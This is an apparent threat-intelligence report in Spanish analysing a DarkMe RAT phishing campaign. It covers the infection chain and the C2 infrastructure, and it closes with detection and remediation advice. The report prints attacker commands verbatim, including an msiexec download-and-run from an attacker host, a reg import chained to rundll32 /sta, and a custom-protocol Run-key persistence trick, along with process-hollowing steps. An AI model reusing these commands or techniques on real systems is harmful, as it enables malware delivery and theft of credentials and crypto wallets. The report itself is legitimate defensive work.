Campaña de correo de DarkMe amplía su enfoque para un RAT de APT

Puntos clave

  • Huntress detectó el malware DarkMe en dos incidentes independientes que afectaron a distintas organizaciones el 31 de agosto de 2026. 

  • DarkMe es un spy-RAT en Visual Basic 6 (VB6) atribuido anteriormente al grupo APT con motivación financiera rastreado como Water Hydra y a la Operación DarkCasino liderada por EvilNum. Identificamos las dos muestras de DarkMe según el conjunto de comandos, la cadena de carga en VB6 y una rutina RC4 alterada que se convierte en un payload de XOR de un solo byte.

  • Hace dos años, DarkMe se ganó cierta reputación al aprovechar dos días cero distintos para distribuir su malware: WinRAR (CVE-2023-38831) y Windows Defender SmartScreen (CVE-2024-21412). Pero en estos nuevos incidentes, el malware no aprovechó exploits, sino que se basó en ingeniería social para convencer a los usuarios de ejecutar un archivo .pif enlazado en un correo electrónico. 

  • Las nuevas técnicas en esta campaña incluyen el uso de un .pif como payload inicial y la creación de un controlador de protocolo no estándar para ocultar su mecanismo de persistencia.

  • La ausencia de exploits abarató la cadena de ataque y la volvió más indiscriminada, lo que refleja una tendencia más amplia en la industria: los adversarios abandonan los exploits técnicos complejos en favor de ataques de alto volumen y bajo nivel técnico que dependen del error humano.

  • A continuación, se presenta la cadena de ataque completa, el momento en que un "infostealer estándar" se convirtió en el troyano de acceso remoto (RAT) de un grupo de actores de amenazas identificado, el C2 que extrajimos del RAT cargado mediante DLL, y las lecciones de detección, incluida la razón por la que abandonar los días cero debería preocupar más, no menos, a los defensores.

Contexto

DarkMe, un troyano espía y herramienta de acceso remoto escrito en Visual Basic 6 (VB6), se hizo conocido en febrero de 2024 por usar vulnerabilidades zero-day para distribuir malware. Pero esta familia de malware se observó por primera vez en septiembre de 2021 y fue documentada públicamente un año después por NSFOCUS bajo el nombre "Operation DarkCasino", atribuida a un grupo llamado EvilNum. Investigadores de Trend Micro y SonicWall también han vinculado este malware, con las salvedades habituales de atribución, a Water Hydra, un grupo APT con el perfil inusual de perseguir dinero en lugar de espionaje. Sus campañas suelen tener motivación financiera y apuntan a traders de forex, foros de compraventa de acciones, plataformas de apuestas en línea y usuarios de criptomonedas.

Lo que hizo notable al malware DarkMe fue la forma de distribución. En 2023, Water Hydra convirtió en arma la falla de suplantación de extensiones de WinRAR CVE-2023-38831 como zero-day, dejando archivos comprimidos maliciosos en foros de trading. A fines de 2023 y principios de 2024, Water Hydra pasó a CVE-2024-21412, un bypass de Defender SmartScreen basado en un acceso directo que apunta a otro acceso directo (sí, eso existió), preparado en un recurso compartido WebDAV detrás de una vista del Explorador manipulada.

Pero nuestra historia arranca desde el punto de vista del equipo del SOC de Huntress, y esta técnica es casi irreconocible. Aquí no hay ningún exploit. Una regla de búsqueda detectó actividad extraña alrededor de un archivo de información de programa (PIF) que lanzaba Windows Installer. Todo lo que sigue a ese PIF es DarkMe de manual, pero todo lo anterior es, francamente, aburrido. Aun así, nos pareció una historia interesante para contar, porque ilustra una tendencia más amplia: actores de amenazas avanzados que optan por métodos de acceso inicial menos sofisticados para ampliar su alcance.

Figura 1: Descripción general de la cadena de ataque utilizada en esta nueva campaña de DarkMe

Análisis técnico

Acceso inicial: una foto que no lo era

La distribución llegó a través de un enlace en un correo de malspam de ingeniería social de lo más común: 

Figura 2: Correo de phishing que distribuye un PIF disfrazado de imagen

Aunque el enlace del correo apuntaba a https://readonline365[.]com/view/image.png, una URL de un archivo gráfico, el servidor web entregaba image.pif, un ejecutable de Windows.

Figura 3: La hoja de Propiedades describe el archivo como un "Acceso directo a programa MS-DOS", pero el archivo es, en sí mismo, un ejecutable.

La extensión .pif, una reliquia de la era DOS, significa "archivo de información de programa" (program information file). Los sistemas Windows modernos ejecutan los archivos .pif como un programa, sin importar lo que sugiera la extensión (o lo que muestre el ícono). 

Figura 4: Al renombrarlo con la extensión .exe, la pestaña Detalles de la hoja de Propiedades del archivo revela información falsificada, antes oculta, que sugiere que el archivo es un componente de un producto de seguridad llamado Aegis Sentinel, aunque no tiene ninguna relación con ese producto.

El mismo archivo, idéntico, un binario PE32+ de 1 MB, se entregó en dos entornos de clientes de Huntress. Los usuarios simplemente hicieron doble clic y descargaron el archivo, sin darse cuenta de lo que era.

imagen PIF de darkme

Figura 5: image.pif — descarga y ejecución

Preparación: msiexec, un wrapper de exemsi y un script

La única tarea del PIF es invocar el instalador de Microsoft, msiexec, para descargar y ejecutar un archivo instalador .msi alojado en una dirección web registrada por el atacante. Para ello, ejecutó este comando:

msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart

Descargar un MSI remoto por HTTPS con /quiet es poco común en la mayoría de los entornos, porque los instaladores legítimos casi nunca residen en la raíz de un dominio por lo demás vacío.

El propio MSI lo delata. Sus metadatos indican que se creó con el exemsi "MSI Wrapper" (versión 11.0.53.0), empaquetado bajo el nombre de fachada "PrinterFind Softwares", con fecha de creación del 11 de enero de 2024. Toda la estructura benigna del wrapper está presente:

  • MsiCustomActions.dll

  • newdev.exe (stub)

  • BZ.RUN_BEFORE_INSTALL_FILE configurado como wScript.exe

En otras palabras, el propósito del instalador es expandir un archivo Windows Cabinet y ejecutar un script. EXPAND.EXE -R files.cab deja los componentes en %AppData%\ComponentsFolder\, y el instalador ejecuta prnfig.wsf.

Figura 6: Componentes de DarkMe instalados en una carpeta llamada ComponentsFolder

Loading Gist...

Figura 7: prnfig.wsf, el script de preparación, que muestra las copias de archivos, la reescritura de la plantilla del Registro y la transferencia con reg import más rundll32 /sta. 

Leer prnfig.wsf abre una ventana clara a la intención del operador. El archivo de Windows Script Host hace cuatro cosas: 

  • Copia todos los archivos descargados en %AppData%\ComponentsFolder\ 

  • Copia solo clspack.exe en %AppData%\Microsoft\, colocando el objetivo del vaciado donde un binario firmado de Microsoft luce menos fuera de lugar

  • Escribe una plantilla para hacer cambios en el Registro de Windows

  • Lanza el loader


El archivo filetext.txt descargado es una plantilla del Registro que registra el objeto COM como @="Coconout.dll". El script la lee, sustituye la ruta completa %AppData%\ComponentsFolder\Coconout.dll (incluido el nombre de la cuenta de usuario local en la ruta), escapa las barras invertidas para una importación .reg y escribe el resultado en filetext2.txt. Luego espera 1.5 segundos y ejecuta:

cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}

Loading Gist...

Figura 8: La plantilla del Registro filetext.txt para importar

Esa importación registra un servidor COM en HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}, con ProgID Coconout.Primary y InprocServer32 apuntando a Coconout.dll.

El loader: Rundll32.exe y tres loaders de Visual Basic 6 

El comando que inicia la etapa final de la infección, rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}, se observó en la campaña de 2024 y es una excelente firma para detectar o buscar. El indicador /sta ejecuta el objeto COM registrado en un apartamento de un solo subproceso (STA) mediante IShellRunDll::Run, una ruta de ejecución poco conocida que evade las detecciones basadas en la sintaxis habitual rundll32 <dll>,<export>.

En particular, la ruta de la DLL nunca aparece en la línea de comandos, solo un UUID opaco.

A partir de ahí, la cadena pasa por tres loaders de VB6, cada uno de los cuales es una capa de ofuscación que llama a una exportación con nombre en el siguiente:

  1. Coconout.dll es el loader COM de la etapa 1, que carga la etapa 2 y llama a su exportación FillText.

  2. Use.dll→ FillText es la etapa 2, donde residen la barrera anti-sandbox (y de detección de VM) y la persistencia. La barrera examina el endpoint en busca de una larga lista de aplicaciones que le interesan al operador; cuando una máquina no supera la verificación, la ejecución simplemente se detiene.

  3. Finalized.dll → Calculation es la etapa 3, que perfila el endpoint, descifra el payload y vacía un binario firmado.

Funciones de la DLL

Figura 9: Las funciones del componente Finalized.dll incluyen "Calculation" y el nombre interno de la DLL, VBDLLDemo.EXE

Un vistazo más de cerca a las DLL del loader

DLL de darkme

Figura 10: Desglose de las tres DLL

Todas las DLL se parecen en los detalles del archivo. Parece que se compilaron juntas: cada una informa su idioma como español (España, alfabetización internacional), un indicio de que el entorno de desarrollo integrado (IDE) de VB6  del atacante estaba configurado en español. Las etapas 2 y 3 tienen el nombre de archivo original Proyecto 1.dll, el valor predeterminado de VB6 sin modificar, mientras que la etapa 1 se renombró a Coconout.dll para coincidir con el registro COM al que debía responder. El nombre del producto se divide de la misma forma: Use.dll y Finalized.dll se compilaron bajo YourConfig, y Coconout.dll bajo ProjectOwner. Las tres dejan vacíos los campos de descripción y copyright.

Los detalles de las tres DLL muestran que se compilaron en un sistema de desarrollo localizado en español

Figura 11: Los detalles de las tres DLL muestran que se compilaron en un sistema de desarrollo localizado en español

Etapa 1: Coconout.dll, el punto de entrada COM

Coconout.dll es la más pequeña de las tres, con 28 KB, y el único servidor COM real. Exporta exactamente las cuatro funciones que necesita una DLL y ninguna exportación propia, porque no se llama por nombre: se instancia por CLSID. La ruta /sta está integrada a propósito y no es casual, ya que Coconout.dll implementa IShellRunDll, que es la interfaz que busca rundll32.exe /sta {CLSID}.

Las cadenas están en UTF-16 sin ofuscar y revelan el propósito de este binario: \ComponentsFolder\Use.dll, la exportación FillText y el mensaje de respaldo Warning: Use.dll not loaded - using defaults. La carga está en un bucle de reintentos: tres intentos con 50 milisegundos de diferencia. Los tres loaders declaran, y nunca llaman, una buena cantidad de API: bloques de declaraciones copiados íntegros de un archivo de ejemplo o similar, recortados a nivel del código fuente, pero no a nivel de las declaraciones.

Dentro de Coconout.dll hay un artefacto de compilación interesante:

Una cadena de compilación interesante que quedó en Coconout.dll

Figura 12: Una cadena de compilación interesante que quedó en Coconout.dll

La presencia de bada (en italiano, "ojo" o "atención", como en ten cuidado) dentro de la estructura de carpetas del desarrollador coincide con inteligencia de amenazas previa que vincula a DarkMe con una mezcla de artefactos lingüísticos italianos y españoles en su código y su historial operativo.

Etapa 2: Use.dll, la barrera y la persistencia

Use.dll es donde vive la primera lógica interesante y donde el operador ocultó más cosas. Ejecutar strings devuelve poco de valor: solo importaciones del runtime de VB6 y un conjunto de nombres aleatorios de clases y módulos de nueve caracteres (ysmzkrxox, zxefmxxdi, tnblrypyr) que parecen la salida de un ofuscador que aleatoriza nombres.

Si amplías a UTF-16 con una herramienta como FLOSS, aparece el mecanismo de persistencia:

  • Software\Microsoft\Windows\CurrentVersion\Run

  • Software\Classes\Locked\shell\open\command

  • URL:Locked Protocol

  • explorer.exe 

  • "Locked://Newest"

  • la línea de comandos completa rundll32.exe /sta {CFDC57BA-...}

El autor ofuscó la lista de objetivos (abajo) y su registro de depuración interno, pero dejó legibles las rutas del Registro.

El resto se almacena como ASCII codificado en hexadecimal dentro de literales de cadena UTF-16, que se decodifican en tiempo de ejecución y son invisibles para un escáner que busque texto legible. El decodificador es una función compartida por las tres DLL y, en esencia, es solo bytes.fromhex() aplicado a cada literal UTF-16 completamente hexadecimal, lo que revela 374 cadenas ocultas en la etapa 2 y cuatro en la etapa 3.

Esas cadenas documentan el comportamiento del malware con las propias palabras del operador. La etapa 2 mantiene un registro de depuración continuo (Integrity check passed. Found Finalized.dll., ERROR: Failed to load Finalized.dll from any location) que se escribe en %TEMP%\Zeta_Component.log, con marca de tiempo línea por línea. Solo aparece cuando DebugMode está configurado en 1 en HKCU\Software\Locked\Config.

Las mismas cadenas decodificadas describen la transferencia a la etapa 3, que está diseñada para sobrevivir a una limpieza parcial: la etapa 2 busca \ComponentsFolder\Finalized.dll, si no la encuentra busca \System32\Finalized.dll, y si falta la exportación Calculation, recurre a una llamada Calculate. 

La barrera de 329 aplicaciones

La pieza central de la etapa 2 es una lista de 329 nombres de ejecutables únicos. 

El componente Use.dll contiene una extensa lista de software que le interesa

Figura 13: El componente Use.dll contiene una extensa lista de software que le interesa

Muchos de los programas de la lista son lo que esperarías que le interesara a un cryptostealer:

  • Billeteras (metamask.exe, ledger live.exe, trezor suite.exe),

  • Gestores de contraseñas (keepass.exe, bitwarden.exe)

  • Terminales de trading (la cadena de herramientas de MetaTrader 5, ninjatrader.exe),

  • Clientes de póker en línea que encajan con los objetivos históricos de DarkMe (pokerstars.exe, partypoker.exe, 888poker.exe)

Luego la lista continúa, mucho más allá de lo que normalmente se consideraría digno de robar: 

  • Clientes de chat y videoconferencia

  • 17 consolas de atención al cliente distintas

  • Clientes VPN (incluido mullvad-deamon.exe—el error tipográfico es del operador, no nuestro) 

  • Lanzadores de juegos, incluidos League of Legends, Roblox, Steam, Epic, Ubisoft, Battle.net, CounterStrike y Rocket League 

  • Spotify.exe y vlc.exe

  • Navegadores, clientes de correo, lectores de PDF, editores de fotos, rastreadores de tiempo y utilidades varias 

  • Una lista de utilidades de soporte de OEM y periféricos, desde una docena de variantes de Lenovo Vantage hasta razersynapse.exe, icue.exe y rgbfusion.exe

Esa última categoría cambia el sentido de toda la lista. Las utilidades de configuración de mouse gamer y los daemons de iluminación RGB no guardan nada de valor, pero sí demuestran que un ser humano usa esta computadora. Esa parece ser la función de la lista, porque la cadena de control decodificada lo delata:

No protected apps found - exiting FillText

La ejecución se detiene cuando no se encuentra ninguna de las 329. Esto no es una lista de objetivos; es una verificación de sandbox invertida. Una verificación de evasión convencional busca herramientas de análisis y se retira cuando las encuentra, pero esta lista no contiene herramientas de análisis. En lugar de preguntar "¿me están observando?", DarkMe pregunta si alguien realmente usa este sistema. Una VM de análisis básica sin Steam, sin drivers de Razer y sin Slack no supera la verificación, y el malware sale sin haber hecho nada digno de reportar: un truco duradero precisamente porque no se soluciona ocultando tu depurador.

Curiosamente, Use.dll no importa nada más que el runtime de VB6, pero declara CreateToolhelp32Snapshot, Process32First y Process32Next como sentencias Declare de enlace tardío, cuyos nombres de destino aparecen en el binario como ASCII plano y no en el directorio de importaciones. Así, la barrera recorre la lista de procesos activos, lo que la convierte en una prueba de un momento puntual y no en un inventario de lo que tiene instalado el endpoint.

Persistencia, escrita antes de que se cargue el payload

La barrera se ejecuta primero y las escrituras en el Registro van después de la barrera de procesos; las escrituras usan la misma ruta de enlace tardío, RegCreateKeyExA y RegSetValueExA de advapi32, en dos secuencias:

  1. Crea HKCU\Software\Classes\Locked, configura su valor predeterminado como URL:Locked Protocol, agrega el marcador vacío URL Protocol que le indica a Windows que se trata de un esquema URI y luego escribe la línea de comandos rundll32.exe /sta {CFDC57BA-...} en HKCU\Software\Classes\Locked\shell\open\command

  2. Crea HKCU\Software\Microsoft\Windows\CurrentVersion\Run y escribe el valor Locked, cuyos datos son explorer.exe "Locked://Newest"

Ese segundo paso nombra el valor Run por primera vez. Ambos pasos del truco para enmascarar el proceso padre se escriben aquí, en una sola función. Vale la pena tenerlo en cuenta al remediar, ya que eliminar el valor Run sin eliminar también el registro de la clase Locked deja intacta la ruta de relanzamiento (y viceversa). 

Etapa 3: Finalized.dll, perfilado y RunPE

Finalized.dll es la más grande de las tres, con 1.1 MB, y exporta Calculation, el punto de entrada al que llama la etapa 2. Al decodificar los literales de cadena UTF-16 hexadecimales, se ve que la etapa 3 oculta cuatro cadenas:

  • APPDATA

  • \ComponentsFolder\company.cer

  • Nobodygoingout

  • \Microsoft\clspack.exe

Cadena Nobodygoingout

Figura 14: Una cadena codificada en hexadecimal sugiere una noche solitaria en casa para alguien

Esas cuatro cadenas dan pistas sobre el propósito de este binario; APPDATA es la variable de entorno contra la que se resuelven las otras dos rutas, lo que da %AppData%\ComponentsFolder\company.cer para leer el payload y %AppData%\Microsoft\clspack.exe como objetivo. Esa segunda ruta cierra el círculo con el mucho anterior prnfig.wsf, que copió clspack.exe en %AppData%\Microsoft\ durante la instalación precisamente para que la etapa 3 encontrara un binario firmado de Microsoft esperándola: Nobodygoingout, la cadena restante, que en principio parece ser la clave que descifra el payload company.cer.

Cómo el componente Finalized.dll completa la infección

Figura 15: Cómo el componente Finalized.dll completa la infección

Una vez más, las API declaradas nos ayudan a completar los espacios en blanco: 

  • CreateProcessA

  • ZwUnmapViewOfSection from ntdll

  • VirtualAllocEx

  • WriteProcessMemory

  • ReadProcessMemory

  • VirtualProtectEx

  • RtlMoveMemory

  • GetThreadContext

  • SetThreadContext

  • ResumeThread

Esa es la cadena clásica de vaciado de procesos. La etapa 3 no declara ninguna API de Registro, ni de enumeración de procesos, ni de red. Solo lee el payload, lo inyecta en clspack.exe y luego sale. 

La primera tarea de Finalized.dll:Calculation es generar un informe de perfil del endpoint a partir de siete llamadas a Environ$() y presentarlo en cuatro formatos (INI, XML, un System Report en HTML y una exportación del Registro de Windows), junto con un relevamiento más amplio de claves de hardware, servicios, políticas, pantalla y configuración regional. 

Nobodygoingout, y el RC4 que no lo es

Nobodygoingout es la clave que descifra el payload. La etapa 3 lee company.cer, lo pasa por un único paso de descifrado con esa cadena como clave y entrega el PE descifrado directamente a la rutina de vaciado.

El descifrador parece un bucle típico de descifrado RC4, pero en realidad está roto de una forma muy específica. 

Loading Gist...

Figura 16: Rutina RC4 rota reconstruida 

Lo que sigue es material para verdaderos nerds de la criptografía; si prefieres no pasar cuatro párrafos intentando entender RC4, aquí va la versión corta: el autor intentó implementar RC4, omitió una línea y convirtió una función de cifrado RC4 en un XOR con 0x02.

Esas dos líneas son todo el cuerpo del bucle. El RC4 real llena S con la identidad antes del bucle e intercambia S(i) con S(j) dentro de él. Esta versión no tiene ningún intercambio e inicializa S(i) en la misma iteración en que lo lee, después de leerlo. Así, S(i) siempre lee cero, S termina como la permutación identidad simple y los 2,048 bits de estado de los que depende RC4 nunca llegan a existir. Todo lo que aporta la clave sobrevive como un único escalar de 8 bits, que para Nobodygoingout es el número 172.

Lo que queda genera el keystream duplicando ese único byte, state = (2 * state + 1) MOD 256, y tomando (2 * state) MOD 254 como salida. Esa recurrencia tiene un punto fijo: desde cualquier valor inicial, state se arrastra a 255 en ocho pasos, después de lo cual el byte de salida es 2 para siempre. 

Por eso todas las descripciones publicadas de DarkMe registran el payload como un simple XOR de un solo byte con 0x02. No es un XOR de un solo byte por diseño. Es un cifrado de flujo con clave cuyo estado se autodestruye a los siete bytes.

Esos siete bytes son la parte que todos han estado descartando. Partiendo de state = 172, la recurrencia emite b2 68 ce a0 40 7e 00 antes de colapsar, y aplicar XOR con eso sobre company.cer hace que el archivo empiece con 4d 5a 90 00 03 00 00 00, el stub canónico de MS-DOS, exacto hasta el byte. El encabezado nunca fue reemplazado por un stub, lo que contradice lo que se había reportado antes. Esos siete bytes del keystream son el encabezado DOS, y son los únicos bytes de un payload de 22.5 MB que la clave realmente protege. El atajo que todos usan en su lugar, aplicar XOR 0x02 en todo el archivo y parchear a mano MZ al inicio, deja cinco bytes incorrectos en campos heredados que Windows ignora, así que el archivo igual carga y se analiza correctamente, pero produce un hash distinto: e34bb5f7... frente al correcto 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76.

Vaciado de procesos en un binario firmado de Microsoft

Con el payload "descifrado", la etapa 3 vacía clspack.exe, un binario legítimo firmado por Microsoft (la "Zip Package Creation Tool") que el script de preparación ya había copiado en %AppData%\Microsoft\. La secuencia es el RunPE estándar: 

  • CreateProcess en estado suspendido 

  • ZwUnmapViewOfSection

  • VirtualAllocEx 

  • WriteProcessMemory 

  • SetThreadContext

  • ResumeThread 


Como el proceso anfitrión está realmente firmado, los controles basados en firmas y reputación ven un ejecutable confiable de Microsoft, mientras que el código que se ejecuta dentro es cualquier cosa menos eso. 

vaciado del proceso clspack

Figura 17: La utilidad Hollows Hunter detecta vaciado de procesos en clspack.exe (componente)

Un binario firmado de Microsoft que se ejecuta desde %AppData%\Microsoft\ en lugar de System32 es anómalo sin importar su firma, y es una oportunidad de detección más limpia que intentar detectar la inyección en sí.

El payload: DarkMe, confirmado

Dentro del proceso vaciado se ejecuta un stealer y RAT en VB6, con nombre de proyecto interno Officially o PartiallyesOnes. Los stealer-RAT de varias etapas que se descifran y desempaquetan a través de varios loaders son un patrón que ya hemos desarmado antes, más recientemente en nuestra ingeniería inversa de MacSync Stealer; esta variante de DarkMe es su prima de Windows en VB6. 

La telemetría de los incidentes apuntaba a capacidades que coinciden con las técnicas de DarkMe reportadas anteriormente: 

  • Robo de billeteras de criptomonedas (MetaMask, Ledger, Exodus, Trezor, Phantom), 

  • Captura de pantalla mediante GDI+

  • Enumeración de antivirus mediante la consulta WMI SELECT * FROM AntivirusProduct

  • Manipulación completa de archivos y ejecución arbitraria de comandos a través de un canal TCP personalizado implementado sobre wsock32

La gran pista de DarkMe es que sus verbos de C2 son mnemónicos derivados del español y del italiano, y tanto Trend Micro como SonicWall publicaron una lista idéntica. Los nuestros coinciden: 

  • SHLEXE (ejecutar comando de shell)

  • ZIPALO ("comprímelo")

  • COPALO ("cópialo")

  • PASALO ("pásalo") 

  • DELMAP (eliminar directorio)

  • STRFLS (enumerar un directorio) 

Junto con el payload de XOR de un solo byte y toda la cadena estructural (MSI remoto, CAB en %AppData%, reg import de un archivo de texto descargado, rundll32 /sta {CLSID}, loaders de VB6 que llaman a exportaciones con nombre y vaciado de un binario firmado copiado desde un archivo disfrazado), estamos seguros de que se trata de DarkMe. 

Recuperación del C2 oculto en la muestra

DarkMe no almacena su C2 en texto claro; el dominio está cifrado con RC4 (esta vez con un algoritmo RC4 que funciona) y escondido dentro de un formulario de Visual Basic como valor de un cuadro de texto, que se descifra en tiempo de ejecución con una clave codificada de forma fija. Los reportes previos son útiles aquí por un motivo que vale la pena señalar de entrada: SonicWall y Trend Micro recuperaron la misma clave RC4, noway123!$$#@35@!, de campañas con seis meses de diferencia, lo que la hacía parecer un artefacto duradero y un pivote confiable.

No fue nuestro caso. Al extraer el blob RC4 de los recursos del formulario de nuestra muestra obtuvimos una clave diferente pero similar: onlywayhere23!$$#@!!35@!12. La configuración del dominio de C2 descifrada apunta a thatawful[.]boutique, que resuelve a un C2 en 67.43.50[.]11:7712. 

Los volcados de memoria del proceso vaciado clspack.exe exponen el dominio de C2

Figura 18: Los volcados de memoria del proceso vaciado clspack.exe exponen el dominio de C2

Esto significa que estamos ante una compilación nueva generada a partir del mismo código/kit de herramientas, y no ante un binario reciclado de 2024. 

El dominio de C2 cifrado con RC4 en VBReFormer

Figura 19: El dominio de C2 cifrado con RC4 en VBReFormer

El análisis con Censys de 67.43.50[.]11 (alojado a través de Voxility/ColoGuys en Praga) revela una implementación descuidada de Windows Server que expone una gran cantidad de puertos de administración remota, incluidos RDP (3389), WinRM (5985, 47001) y DCERPC (135). El servicio RDP incluso filtra el nombre de equipo predeterminado de Windows de la máquina WIN-78P55T5IL26 a través de un certificado TLS autofirmado. 

Curiosamente, los puertos web estándar (80 y 443) de esta IP no sirven un panel de C2 típico; en cambio, el servidor Nginx emite una redirección 302 que envía a los visitantes a un enlace de seguimiento de adware sospechoso en effectivecpmnetwork[.]com. A esto se suma el descubrimiento de otro dominio (megchartedbk7[.]com) que resuelve exactamente a la misma IP.

El C2 descifrado con RC4 analizado con Censys

Figura 20: El C2 descifrado con RC4 analizado con Censys

puerto de C2 codificado de forma fija

Figura 21: Puerto codificado de forma fija para el tráfico de C2 en VBReFormer


El malware incluye un puerto codificado de forma fija que representa otra oportunidad de detección. Todas nuestras muestras se comunicaron por el puerto 7712, un puerto no estándar que rara vez se asocia con aplicaciones empresariales legítimas.

Marcar o bloquear el tráfico saliente hacia TCP 7712 ofrece una señal simple y con poco ruido para identificar sesiones de C2 activas de este RAT.

Persistencia: escondida detrás del Explorador

La persistencia es una sola clave Run de HKCU, pero con un giro que parece nuevo: en lugar de volver a invocar rundll32 directamente, el valor es:

explorer.exe "Locked://Newest"

Locked:// es un controlador de protocolo URL personalizado que el malware registra en HKCU\Software\Classes\Locked\shell\open\command, y seguirlo lleva de vuelta a rundll32.exe /sta {CFDC57BA-...}, el inicio de la cadena de loaders. Enrutar el relanzamiento a través de explorer.exe y un controlador de protocolo hecho a medida enmascara el proceso padre al iniciar sesión, de modo que el rundll32 malicioso parece descender del Explorador y no directamente de una clave Run. 

OSINT: hora de excavar

VirusTotal registra siete dominios que sirven este archivo .pif en el entorno real, y al revisarlos se reducen a cinco servidores de entrega genuinos: 

  1. storageonline[.]me

  2. readonline365[.]com

  3. viewdocument[.]live

  4. advancedfuturetechnology[.]com 

  5. sharedfuturetech[.]com

Cuatro seguían sirviendo el binario idéntico, 394c93df…, byte por byte cuando los descargamos. Los otros dos ya habían cambiado para entonces: advancedfuturetechnology[.]com, aparentemente suspendido por su proveedor, y sharedfuturetech[.]com, que devolvía un 404 con el payload retirado, aunque VirusTotal detectó ambos sirviéndolo activamente en agosto.

Las rutas variaban (/pictures/image.png, /view/image.png, /SCAN_2026-0698494.pif) mientras que el payload nunca cambiaba. Dos servidores entregaban el PE como text/plain, y tanto las URL .png como las .pdf respondían con un 301 directo al .pif. 

El alojamiento se divide en dos: tres dominios en Ultahost en Fráncfort y dos sitios de WordPress en Hostinger. Esos sitios de WordPress podrían estar secuestrados, pero viewdocument[.]live es contenido de plantilla inicial en su totalidad. El dominio se registró a las 16:02 UTC del 1 de marzo de 2026, con nueve publicaciones de demostración creadas a las 16:31:28, en menos de media hora. Curiosamente, su API filtra la cuenta de usuario, cuyo nombre visible recurre a una dirección de Gmail porque nunca se configuró el apodo. 

readonline365[.]com también tiene habilitado el listado de directorios, y así terminamos leyendo el directorio de trabajo del operador: ambos nombres de archivo de los señuelos de la campaña con hashes coincidentes, un INF de prueba de 148 bytes que no hace nada más que ejecutar calc.exe, una compilación hermana de VB6 de 64 KB y un PNG de 27 MB que lleva 19,222,574 bytes añadidos después de su marcador EOF IEND. Ese último se parece al truco de payload dentro de una imagen que usó esta campaña, pero ninguna de las claves que recuperamos lo abre, así que probablemente forme parte de otra campaña.

directorio de payloads

Figura 22: El directorio abierto que contiene payloads en readonline365[.]com

Por último, sharedfuturetech[.]com ya había retirado su payload de DarkMe cuando lo descargamos, pero el servidor no estaba inactivo. Su raíz sirve una página falsa de crack de software que guía al visitante por una instalación falsa en la que se le pide pegar un comando en PowerShell, una técnica que llamamos ClickFix. Esto distribuye una familia completamente distinta, con su propio loader y C2, que parece ser un stealer derivado de Efimer, una familia documentada por Kaspersky. La estamos tratando como una campaña separada.

Señuelo de ClickFix con la marca de Adobe Creative Cloud

Figura 23: sharedfuturetech[.]com usa un señuelo estilo ClickFix para que el usuario ejecute un comando malicioso

Dos cosas ponen esta página en contexto:

  • Un error de TLS en el mismo servidor revela un certificado de un dominio coalojado generado por máquina

  • Su historial de certificados lleva a un grupo de sitios que imitan bancos, plataformas de criptomonedas y servicios de streaming, cinco de los cuales sirven una copia idéntica byte por byte de esa misma página de crack. 

El dominio sharedfuturetech[.]com ya servía ejecutables no relacionados en marzo de 2026, cinco meses antes de esta campaña. Así que un mismo servidor monetizaba dos operaciones distintas a la vez, en una infraestructura que antecede por meses a la actividad de DarkMe. 

Al momento de escribir esto, el servidor de preparación activo, con un listado de directorio abierto y el payload verificado en disco, obtenía 0 detecciones maliciosas de 52 motores en VirusTotal. AbuseIPDB asigna a todas las direcciones un 0% de confianza, GreyNoise no tiene clasificación y abuse.ch no tiene registros. Un alojamiento compartido barato en dominios limpios basta para pasar por completo bajo el radar del bloqueo basado en reputación, así que aquí la detección tiene que venir de los hashes y el comportamiento que se detallan a continuación, no de un feed de IOC.

mapa de infraestructura de darkme

Figura 24: La infraestructura del adversario de DarkMe según el mapeo con VirusTotal Graph

Guía de mitigación y remediaciones

Busca la cadena de ejecución (consultas baratas con alta señal)

  • Genera una alerta cuando rundll32.exe se invoque con /sta y un GUID, pero sin ruta de DLL en la línea de comandos. Esto es central en todas las generaciones documentadas de DarkMe y es poco común en usos legítimos. 

  • Genera una alerta cuando msiexec descargue un MSI remoto por HTTP/S (un argumento de URL para /i). Es poco común y de alta señal en la mayoría de los entornos.

  • Genera una alerta ante reg.exe import de un archivo desde una ruta en la que el usuario puede escribir, especialmente %AppData%. El software legítimo casi nunca hace esto.

  • Genera una alerta cuando wscript.exe o cscript.exe ejecute un .wsf desde %AppData%, y cuando cualquiera de ellos genere reg.exe o rundll32.exe.

Detecta el enmascaramiento y el vaciado

  • Genera una alerta ante la ejecución de archivos .pif. Su uso legítimo en Windows moderno es prácticamente inexistente.

  • Genera una alerta cuando binarios firmados de Microsoft como clspack.exe se ejecuten desde %AppData% en lugar de System32/SysWOW64. 

  • Enumera HKCU\Software\Classes\*\shell\open\command en busca de controladores de protocolo no estándar, y de valores de claves Run que invoquen explorer.exe con un esquema URI personalizado. Esto detecta la variante de enmascaramiento del proceso padre Locked://.

Contén y limpia

  • Aísla el endpoint, termina el clspack.exe vaciado y elimina los artefactos ComponentsFolder y %AppData%\Microsoft\clspack.exe.

  • Elimina la persistencia: el valor HKCU...\CurrentVersion\Run y los registros HKCU\Software\Classes\Locked y CLSID {CFDC57BA-...}. Se requiere un reinicio para completar la eliminación.

  • Restablece las credenciales del usuario afectado y considera comprometida cualquier billetera de criptomonedas usada en el endpoint, asumiendo que las frases semilla quedaron expuestas.

  • Bloquea onlineview365[.]com, readonline365[.]com y thatawful[.]boutique / 67.43.50[.]11.

Conclusión

No estamos sugiriendo que DarkMe sea de alguna manera menos sofisticado en sus capacidades que hace dos años; estamos señalando que ahora no necesita serlo. La misma cadena de loaders de VB6, la misma invocación COM y el mismo vaciado en un binario firmado que Water Hydra distribuyó detrás de dos zero-day aparecieron aquí detrás de un .pif y un doble clic. Todo lo costoso de la distribución anterior (la falla de WinRAR, el bypass de SmartScreen, la preparación en WebDAV y la vista del Explorador manipulada) desapareció, y nada de eso se extrañó. Un archivo que Windows ejecuta a primera vista no le pide al atacante nada más que un correo convincente.

